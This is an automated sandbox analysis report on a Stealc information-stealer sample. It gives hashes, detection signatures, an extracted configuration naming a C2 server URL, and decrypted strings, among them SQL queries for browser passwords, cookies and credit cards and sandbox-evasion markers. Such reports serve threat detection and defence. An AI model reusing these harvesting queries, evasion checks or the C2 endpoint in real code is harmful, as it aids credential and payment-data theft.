Windows Analysis Report
lxEu3xfjIb.exe

Overview

General Information

Sample name:	lxEu3xfjIb.exe renamed because original name is a hash value
Original sample name:	bb99cde9173ee6e21b61963f6a4a60da.exe
Analysis ID:	1546917
MD5:	bb99cde9173ee6e21b61963f6a4a60da
SHA1:	2bcff0eba69c4592e4d2959e8a2e35fc35416338
SHA256:	c40ada473bd3a23569dd60807fa9754f2917c029e28746e7c1a32568d801dbfe
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

AV process strings found (often used to terminate AV products)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found evaded block containing many API calls

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: lxEu3xfjIb.exe

Avira: detected

Found malware configuration

Source: 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://95.215.207.176/d8ddb681db736e16.php", "Botnet": "LogsDiller"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: lxEu3xfjIb.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 22
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 11
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 20
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 24
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetProcAddress
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: LoadLibraryA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: lstrcatA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: OpenEventA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CreateEventA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CloseHandle
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Sleep
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: VirtualFree
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetSystemInfo
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: VirtualAlloc
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: HeapAlloc
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetComputerNameA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: lstrcpyA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetProcessHeap
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetCurrentProcess
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: lstrlenA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ExitProcess
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetSystemTime
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: advapi32.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: gdi32.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: user32.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: crypt32.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ntdll.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetUserNameA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CreateDCA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetDeviceCaps
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ReleaseDC
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sscanf
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: VMwareVMware
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: HAL9TH
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: JohnDoe
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: DISPLAY
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: http://95.215.207.176
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: gjtwvm
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: /d8ddb681db736e16.php
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: /70d63ca8a5be6cc3/
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: LogsDiller
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetFileAttributesA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GlobalLock
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: HeapFree
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetFileSize
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GlobalSize
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: IsWow64Process
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Process32Next
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetLocalTime
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: FreeLibrary
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetVolumeInformationA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Process32First
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetModuleFileNameA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: DeleteFileA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: FindNextFileA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: LocalFree
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: FindClose
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: LocalAlloc
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetFileSizeEx
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ReadFile
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SetFilePointer
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: WriteFile
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CreateFileA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: FindFirstFileA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CopyFileA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: VirtualProtect
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetLastError
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: lstrcpynA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: MultiByteToWideChar
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GlobalFree
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: WideCharToMultiByte
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GlobalAlloc
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: OpenProcess
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: TerminateProcess
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetCurrentProcessId
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: gdiplus.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ole32.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: bcrypt.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: wininet.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: shlwapi.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: shell32.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: psapi.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: rstrtmgr.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SelectObject
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: BitBlt
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: DeleteObject
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CreateCompatibleDC
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdiplusStartup
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdiplusShutdown
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdipDisposeImage
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GdipFree
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CoUninitialize
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CoInitialize
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CoCreateInstance
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: BCryptDecrypt
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: BCryptSetProperty
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: BCryptDestroyKey
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetWindowRect
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetDesktopWindow
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetDC
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CloseWindow
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: wsprintfA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CharToOemW
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: wsprintfW
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RegQueryValueExA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RegEnumKeyExA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RegOpenKeyExA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RegCloseKey
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RegEnumValueA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CryptUnprotectData
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SHGetFolderPathA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ShellExecuteExA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: InternetOpenUrlA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: InternetConnectA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: InternetCloseHandle
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: InternetOpenA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: HttpSendRequestA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: HttpOpenRequestA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: InternetReadFile
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: InternetCrackUrlA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: StrCmpCA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: StrStrA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: StrCmpCW
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: PathMatchSpecA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RmStartSession
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RmRegisterResources
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RmGetList
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: RmEndSession
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_open
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_step
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_column_text
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_finalize
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_close
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3_column_blob
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: encrypted_key
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: PATH
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: NSS_Init
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: NSS_Shutdown
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: PK11_FreeSlot
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: PK11_Authenticate
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: C:\ProgramData\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: browser:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: profile:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: url:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: login:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: password:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Opera
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: OperaGX
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Network
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: cookies
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: .txt
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: TRUE
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: FALSE
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: autofill
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: history
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: cc
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: name:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: month:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: year:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: card:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Cookies
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Login Data
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Web Data
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: History
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: logins.json
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: formSubmitURL
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: usernameField
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: encryptedUsername
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: encryptedPassword
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: guid
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: cookies.sqlite
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: formhistory.sqlite
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: places.sqlite
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: plugins
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Local Extension Settings
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Sync Extension Settings
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: IndexedDB
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Opera Stable
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Opera GX Stable
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: CURRENT
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: chrome-extension_
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Local State
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: profiles.ini
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: chrome
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: opera
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: firefox
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: wallets
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ProductName
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: x32
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: x64
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ProcessorNameString
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: DisplayName
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: DisplayVersion
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Network Info:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - IP: IP?
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Country: ISO?
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: System Summary:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - HWID:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - OS:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Architecture:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - UserName:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Computer Name:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Local Time:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - UTC:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Language:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Keyboards:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Laptop:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Running Path:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - CPU:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Threads:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Cores:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - RAM:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - Display Resolution:
